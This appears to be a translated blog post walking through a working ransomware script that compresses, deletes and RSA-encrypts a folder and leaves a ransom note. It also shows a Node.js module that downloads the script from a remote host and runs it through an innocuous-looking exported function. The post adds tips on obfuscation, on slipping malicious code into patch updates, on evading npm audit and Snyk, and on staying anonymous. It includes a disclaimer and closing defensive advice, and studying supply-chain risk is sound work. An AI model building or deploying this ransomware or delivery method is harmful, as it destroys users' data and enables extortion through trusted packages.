在 Node.js 模块中运行勒索软件攻击

2025-05-24

在 Node.js 模块中运行勒索软件攻击

这篇文章最初发布在我的博客上

几周前,我尝试编写一个小型勒索软件脚本,并研究了如何在 Node.js 模块中运行它。这篇文章详细解释了我的操作过程。

⚠️重要提示⚠️

  • 我写这篇博文仅供学习之用。进行勒索软件攻击是违法的;我唯一的动机是分享知识,提高人们的防范意识,以便他们能够更好地保护自己。
  • 对于您决定如何使用本帖中分享的信息,我不承担任何责任。

以下代码示例已在 macOS 上测试。我假设其他操作系统上的概念也相同,但命令可能略有不同。

它起什么作用?

在深入研究代码之前,我想简单解释一下这次攻击的作用。

自定义 Node.js 模块会获取托管在云平台上的 Shell 脚本,在目标计算机上创建一个新文件并执行。
该脚本会导航到目标计算机上的特定文件夹,并使用非对称加密技术压缩并加密该文件夹。

这意味着目标文件是用攻击者的公钥加密的,如果没有攻击者的私钥就无法解密。因此,目标文件恢复的唯一方法就是向攻击者支付赎金以获取私钥。

如果您对此感兴趣,本文的其余部分将介绍其工作原理。

创建脚本

首先,有一个名为的脚本文件script.sh

它首先导航到目标计算机上的某个文件夹。为了测试,我在桌面上创建了一个名为 的测试文件夹,folder-to-encrypt以便我的 Shell 脚本可以导航到桌面。在实际攻击中,以其他文件夹为目标会更有效率,例如/Users

cd /Users/<your-username>/Desktop
Enter fullscreen mode Exit fullscreen mode

下一步是folder-to-encrypt使用压缩文件夹tar

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
Enter fullscreen mode Exit fullscreen mode

-czf旗帜代表:

  • c:压缩
  • z:gzip 压缩
  • f:确定存档文件的文件名类型

此时,运行bash script.sh将会在桌面上看到folder-to-encrypt和。folder-to-encrypt.tar.gz

在勒索软件的背景下,人们不应该访问其原始文件或文件夹,因此也需要将其删除。

rm -rf folder-to-encrypt
Enter fullscreen mode Exit fullscreen mode

此时,原始文件夹已被删除,但剩余的文件仅为压缩格式,因此可以通过双击解压并恢复。这违背了人们恢复文件的目的,因此下一步是使用openssl进行非对称加密。

加密

无需赘述,非对称加密使用两个密钥:一个公钥和一个私钥。公钥用于加密数据。它可以与他人共享,以便他们加密数据并希望密钥所有者能够解密。另一方面,私钥则需要保持私密,因为它是解密密钥。

一旦使用公钥加密数据,就只能使用关联的私钥解密

下一步是使用以下命令生成私钥:

openssl genrsa -aes256 -out private.pem
Enter fullscreen mode Exit fullscreen mode

此命令使用AES(高级加密标准),更具体地说是 256 位加密。

运行上述命令时,密钥将保存在名为 的文件中private.pem

然后使用以下命令生成公钥:

openssl rsa -in private.pem -pubout > public.pem
Enter fullscreen mode Exit fullscreen mode

密钥生成后,我将公钥保存到目标计算机上的一个新文件中。
一种方法是使用以下几行代码:

echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem
Enter fullscreen mode Exit fullscreen mode

可以使用以下命令从公钥获取所需的信息:

head public.pem
Enter fullscreen mode Exit fullscreen mode

现在就可以对压缩文件进行加密了。

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
Enter fullscreen mode Exit fullscreen mode

上述命令使用key.pem目标计算机上创建的包含公钥的新文件,并将压缩文件加密为名为 的文件folder-to-encrypt.enc。此时,
原始压缩文件仍然存在,因此也需要将其删除。

rm -rf folder-to-encrypt.tar.gz
Enter fullscreen mode Exit fullscreen mode

在此之后,检索原始文件夹内容的唯一方法是获取私钥来解密加密文件。

最后一步,可以留下一张纸条,告知目标用户他们刚刚遭到黑客攻击,并告知他们应该如何支付赎金。这部分并非本文的重点。

echo "You've been hacked! Gimme all the moneyz" > note.txt
Enter fullscreen mode Exit fullscreen mode

在将其运行到 Node.js 模块之前,我想简单谈谈如何解密此文件。

解密

此时在终端中运行以下命令将解密文件并恢复原始压缩版本:

openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz
Enter fullscreen mode Exit fullscreen mode

完整的代码示例

完整的脚本如下所示:

cd /Users/<your-username>/Desktop

echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

rm -rf folder-to-encrypt

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

rm -rf folder-to-encrypt.tar.gz

echo "You've been hacked! Gimme all the moneyz" > note.txt
Enter fullscreen mode Exit fullscreen mode

那么,人们怎样才能被诱骗使用它呢?

将勒索软件隐藏在 Node.js 模块中

有多种方法可以解决这个问题。

其中一种方法是将 Shell 脚本打包为 Node.js 模块的一部分,并在导入包时执行。但是,将脚本作为文件存储在仓库中可能很快就会引起一些担忧。

相反,我决定使用fs内置包来获取托管脚本的 URL,将内容复制到目标计算机上的新文件中,然后在child_process.execFile()将包导入新项目时使用它来执行文件。

这样,乍一看,模块的恶意意图可能并不明显。尤其是在 JavaScript 文件被最小化和混淆的情况下。

创建 Node.js 模块

在一个新的 Node.js 模块中,我首先编写代码来获取脚本内容并将其保存到script.sh目标计算机上的新文件中:

import fetch from "node-fetch"
import fs from "fs";

async function download() {
    const res = await fetch('http://<some-site>/script.sh');
    await new Promise((resolve, reject) => {
        const fileStream = fs.createWriteStream('./script.sh');
        res.body.pipe(fileStream);
        fileStream.on("finish", function () {
            resolve();
        });
    });
}
Enter fullscreen mode Exit fullscreen mode

然后,就该执行它来发起攻击了。

const run = async () => {
    await download()
    execFile("bash", ["script.sh"]);
}

export default function innocentLookingFunction() {
    return run()
}
Enter fullscreen mode Exit fullscreen mode

这就是软件包的内容!为了使真正的攻击能够奏效,可能需要在模块中添加更多代码,使其看起来像是在做一些有用的事情。

发起攻击

为了测试此攻击,我将这个包发布为npm 上的私有包,以避免有人无意中安装它。导入并调用默认函数后,攻击就被触发了。

import innocentLookingFunction from "@charliegerard/such-a-hacker";

innocentLookingFunction();
Enter fullscreen mode Exit fullscreen mode

完成!✅

安全

你可能会想:“这肯定会被一些安全审计工具发现吧?!” 据我所知,并没有。

npm 审计

运行命令npm audit实际上并不会检查您正在使用的模块的内容。此命令仅检查您的项目是否包含已报告漏洞的软件包。只要此恶意软件包未被报告,npm audit就不会将其标记为潜在危险。

斯奈克

我没有详细研究Snyk如何检测潜在问题,但使用Snyk VSCode 扩展也没有报告任何漏洞。

Snyk VSCode 报告截图,显示开源安全、代码安全和代码质量方面未发现任何漏洞

Socket.dev

目前,Socket.dev GitHub 应用程序仅支持域名抢注检测,因此我没有在本次实验中使用它。

额外的想法

“你得先让人们安装这个软件包”

就我个人而言,我认为这是整个过程中最简单的部分。

人们会安装很多不同的软件包,甚至包括他们自己编写的小型实用函数。我可以创建一个合法的软件包,发布第一个不含任何恶意代码的版本,让人们使用它,然后在补丁更新中添加恶意代码。
并不是每个人都会在合并补丁或次要版本更新之前检查它们添加了什么。
在某些时候,有些人会了解勒索软件的来源并进行举报,但当他们这样做的时候,攻击可能已经影响了一定数量的用户。

保持匿名

就这一点而言,我没有足够的知识来确保攻击者不会被通过发布到 npm 的邮箱地址或勒索软件交易追踪到。关于洗钱,或许有一些有趣的事情值得研究,但我对此一无所知。

至于脚本托管的位置,我使用了一个无需注册即可部署网站的平台,因此,可能没有简单的方法来检索攻击者的身份。

最后说明

我想以一个重要的观点来结束本文,这也是我进行此项实验的主要原因。

我在周日下午花了几个小时才把这个东西组装起来,而且没有接受过任何安全方面的培训。

我内心有一部分希望这不可能,或者至少不那么容易,这样我会更愿意使用随机包,但我现在的想法有点不同了。

我只对了解事物如何运作感兴趣,但并非每个人都是如此,所以如果我能做到,很多怀有恶意的人也能做到……

我不知道是否可以完全避免这样的攻击,但在安装软件包时要小心,定期更新,并且在未检查更改日志和文件更改的情况下合并更新之前要三思。

文章来源:https://dev.to/devdevcharlie/running-a-ransomware-attack-in-a-nodejs-module-4hgb
PREV
拍手切换暗/亮模式
NEXT
使用 PoseNet 和 Tensorflow.js 在浏览器中通过身体动作玩 Beat Saber